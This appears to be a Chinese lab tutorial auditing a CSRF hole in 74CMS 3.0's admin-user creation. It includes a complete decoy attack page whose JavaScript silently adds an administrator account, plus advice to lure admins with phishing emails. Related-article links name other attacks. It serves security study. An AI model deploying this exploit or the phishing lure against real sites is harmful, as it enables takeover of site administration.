一、 启动环境

1.双击运行桌面phpstudy.exe软件



2.点击启动按钮,启动服务器环境

二、代码审计

1.双击启动桌面Seay源代码审计系统软件



2.因为74CMS3.0源代码编辑使用GBK编辑,所以首先需要先将编码改成GBK



3.点击新建项目按钮,弹出对画框中选择(C:\phpStudy\WWW\74cms),点击确定

漏洞分析

1.点击展开左侧admin目录,在弹出的下拉列表中双击admin_users.php页面,右侧页面可以看到相关代码。

elseif($act == 'add_users_save')
{
if ($_SESSION['admin_purview']<>"all")adminmsg("权限不足!",1);
$setsqlarr['admin_name']=trim($_POST['admin_name'])?trim($_POST['admin_name']):adminmsg('请填写用户名!',1);
if (get_admin_one($setsqlarr['admin_name']))adminmsg('用户名已经存在!',1);
$setsqlarr['email']=trim($_POST['email'])?trim($_POST['email']):adminmsg('请填写email!',1);
if (!preg_match("/^[\w\-\.]+@[\w\-\.]+(\.\w+)+$/",$setsqlarr['email']))adminmsg('email格式错误!',1);
$password=trim($_POST['password'])?trim($_POST['password']):adminmsg('请填写密码',1);
if (strlen($password)<6)adminmsg('密码不能少于6位!',1);
if ($password<>trim($_POST['password1']))adminmsg('两次输入的密码不相同!',1);
$setsqlarr['rank']=trim($_POST['rank'])?trim($_POST['rank']):adminmsg('请填写头衔',1);
$setsqlarr['add_time']=time();
$setsqlarr['last_login_time']=0;
$setsqlarr['last_login_ip']="从未";
$setsqlarr['pwd_hash']=randstr();
$setsqlarr['pwd']=md5($password.$setsqlarr['pwd_hash']);
if (inserttable(table('admin'),$setsqlarr))
{
$link[0]['text'] = "返回列表";
$link[0]['href'] ="?act=";
adminmsg('添加成功!',2,$link);
}
else
{
adminmsg('添加失败',1);
}
}

其中当获取的act参数为add_users_save时,执行添加管理员操作。代码段第一行首先检查当前用户是否权限添加,如果没有权限则直接终止掉下面紧接着进入添加管理员操作,最后将setsqlarr数组执行inserttable操作,将管理员插入数据库。中间并没有检查用户来源操作,如:Token、验证码等。

漏洞利用

1.首先需要构造一个攻击页面,由于添加用户需要POST发送数据,所以不能通过简单执行GET请求,需要在攻击页面执行Ajax请求,异步发送数据。

2.攻击JavaScript代码

<script>
function add() {
var xmlhttp = new XMLHttpRequest();
var xmldata = 'admin_name=zhangsan3&email=5454695%40qq.com&password=123456&password1=123456&rank=1qi&submit3=%CC%ED%BC%D3';
xmlhttp.open('POST','http://192.168.91.136/74cms_Home_Setup_v3.0.0/upload/admin/admin_users.php?act=add_users_save',true);
xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xmlhttp.withCredentials='true'; //跨域请求是否提供凭证
xmlhttp.send(xmldata);
}
</script>

HTML展现页面

<body "add()">
<img src="3333.gif">
<!-- <video width="544" height="960" controls>-->
<!-- <source src="3333.gif" type="video/mp4">-->
<!-- 您的浏览器不支持 HTML5 video 标签-->
<!-- </video>--> </body>

3.诱导管理员访问该页面可以使用钓鱼邮件,网站发送建议等。



访问以后用户看到就是普通一段视频,但是Ajax已经异步把数据提交到后台。



登录后台发现,已经成功添加zhangsan这个用户

完整代码

CSRF.php

<html>
<head>
<meta charset="utf-8">
<title>欢迎看片</title>
<script>
function add() {
var xmlhttp = new XMLHttpRequest();
var xmldata = 'admin_name=zhangsan3&email=5454695%40qq.com&password=123456&password1=123456&rank=1qi&submit3=%CC%ED%BC%D3';
xmlhttp.open('POST','http://192.168.91.136/74cms_Home_Setup_v3.0.0/upload/admin/admin_users.php?act=add_users_save',true);
xmlhttp.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
xmlhttp.withCredentials='true'; //跨域请求是否提供凭证
xmlhttp.send(xmldata);
}
</script>
</head>
<body "add()">
<img src="3333.gif">
<!-- <video width="544" height="960" controls>-->
<!-- <source src="3333.gif" type="video/mp4">-->
<!-- 您的浏览器不支持 HTML5 video 标签-->
<!-- </video>--> </body>
</html>

74CMS 3.0 CSRF漏洞的更多相关文章

  1. DedeCMS flink_add Getshell漏洞 管理员CSRF漏洞

    DedeCMS flink_add Getshell漏洞 管理员CSRF漏洞 1.漏洞利用 由于tpl.php中的$action,$content,$filename变量没有初始化,从而能操纵这些变量 ...

  2. 浅谈CSRF漏洞

    前言: 看完小迪老师的CSRF漏洞讲解.感觉不行 就自己百度学习.这是总结出来的.   歌曲:   正文: CSRF与xss和像,但是两个是完全不一样的东西. xss攻击(跨站脚本攻击)储存型的XSS ...

  3. 从Java的角度修复CSRF漏洞

    漏洞挖掘中,说实话挖过最多的漏洞就属CSRF漏洞了,提交CSRF漏洞很多次,绕过CSRF防御进行攻击也有很多次.CSRF漏洞是一个很容易引发的问题,今天我从Java的角度来说下这个安全漏洞的修复方案. ...

  4. phpMyAdmin 4.7.x CSRF 漏洞利用

    作者:Ambulong phpMyAdmin是个知名MySQL/MariaDB在线管理工具,phpMyAdmin团队在4.7.7版本中修复了一个危害严重的CSRF漏洞(PMASA-2017-9),攻击 ...

  5. 【代码审计】YzmCMS_PHP_v3.6 CSRF漏洞分析

      0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...

  6. PHP代码审计笔记--CSRF漏洞

    0x01 前言 CSRF(Cross-site request forgery)跨站请求伪造.攻击者盗用了你的身份,以你的名义向第三方网站发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻 ...

  7. CSRF漏洞原理说明与利用方法

    翻译者:Fireweed 原文链接:http://seclab.stanford.edu/websec/ 一 .什么是CSRF Cross-Site Request Forgery(CSRF),中文一 ...

  8. CSRF进阶之打造一个检测CSRF漏洞的脚本

    前言: 还记得之前所学的CSRF漏洞吧.因为没有对表单做好对应的漏洞 而造成的CSRF漏洞.学了这个漏洞后逐渐的了解.这个比较鸡助. 代码: import requests,tqdm,time,os, ...

  9. csrf漏洞攻击手段和影响详解

    针对web应用安全中csrf漏洞两种典型的攻击方式:即输入和执行,这种简单模式下的攻击手段以及中途包含确认页面的攻击方法. 图解什么是csrf漏洞 我们先进行约束,比如存在csrf漏洞的网站叫webA ...

随机推荐

  1. Solution -「51nod 1584」加权约数和

    \(\mathcal{Description}\)   Link.   令 \(\sigma(n)\) 为 \(n\) 的约数之和.求: \[\sum_{i=1}^n\sum_{j=1}^n\max\ ...

  2. Dump Lsass内存转储新旧方法

      之前看到一篇关于Lsass内存dump的文章,学习记录一下.   lsass.exe(Local Security Authority Subsystem Service)进程空间中,存有着机器的 ...

  3. jenkins持续集成go应用

    上文讲到使用supervisor管理我们的终端应用,这次讲一下使用jenkins持续集成 下面分别讲一下pipeline里每一个段落的含义 agent any 使用任意节点构建 parameters ...

  4. 【FAQ】接入HMS Core应用内支付服务过程中一些常见问题总结

    HMS Core应用内支付服务(In-App Purchases,IAP)为应用提供便捷的应用内支付体验和简便的接入流程.开发者的应用集成IAP SDK后,调用IAP SDK接口,启动IAP收银台,即 ...

  5. node + express本地搭建服务器,开启一个新的项目

    1.安装node.地址:https://nodejs.org/zh-cn/download/ 2.新建一个文件夹test,进入到该文件夹下 a.按shift  + 鼠标右键 ,选择在此处打开命令窗口( ...

  6. 深入理解Java类加载机制,再也不用死记硬背了

    谈谈"会"的三个层次 在<说透分布式事务>中,我举例里说明了会与会的差别.对一门语言的学习,这里谈谈我理解的"会"的三个层次: 第一层:了解这门语言 ...

  7. Msftables之Linux NFS共享目录配置漏洞

    实验目的 1.了解Metasploitables靶机系统漏洞: 2.学习使用Metasploit. 实验原理 msftables之利用Linux NFS共享目录配置漏洞渗透. 实验内容 msftabl ...

  8. Clickhouse写入问题汇总

    Clickhouse写入问题汇总 Zookeeper相关 当clickhouse在建表时使用了Replicated引擎族时, 会对zookeeper有非常重的依赖, 这时候就要注意zookeeper集 ...

  9. 【C# .Net GC】GC内存分配规则

    GC 管理内存分配和回收 公共语言运行时的垃圾回收器为应用程序管理内存的分配和释放. https://docs.microsoft.com/zh-cn/dotnet/standard/automati ...

  10. SQL Server Cross/Outer Apply

    SQL Server2005引入了APPLY运算符,它非常像连接子句,它允许两个表达式直接进行连接,即将左/外部表达式和右/内部表达式连接起来. CROSS APPLY(类比inner join)和O ...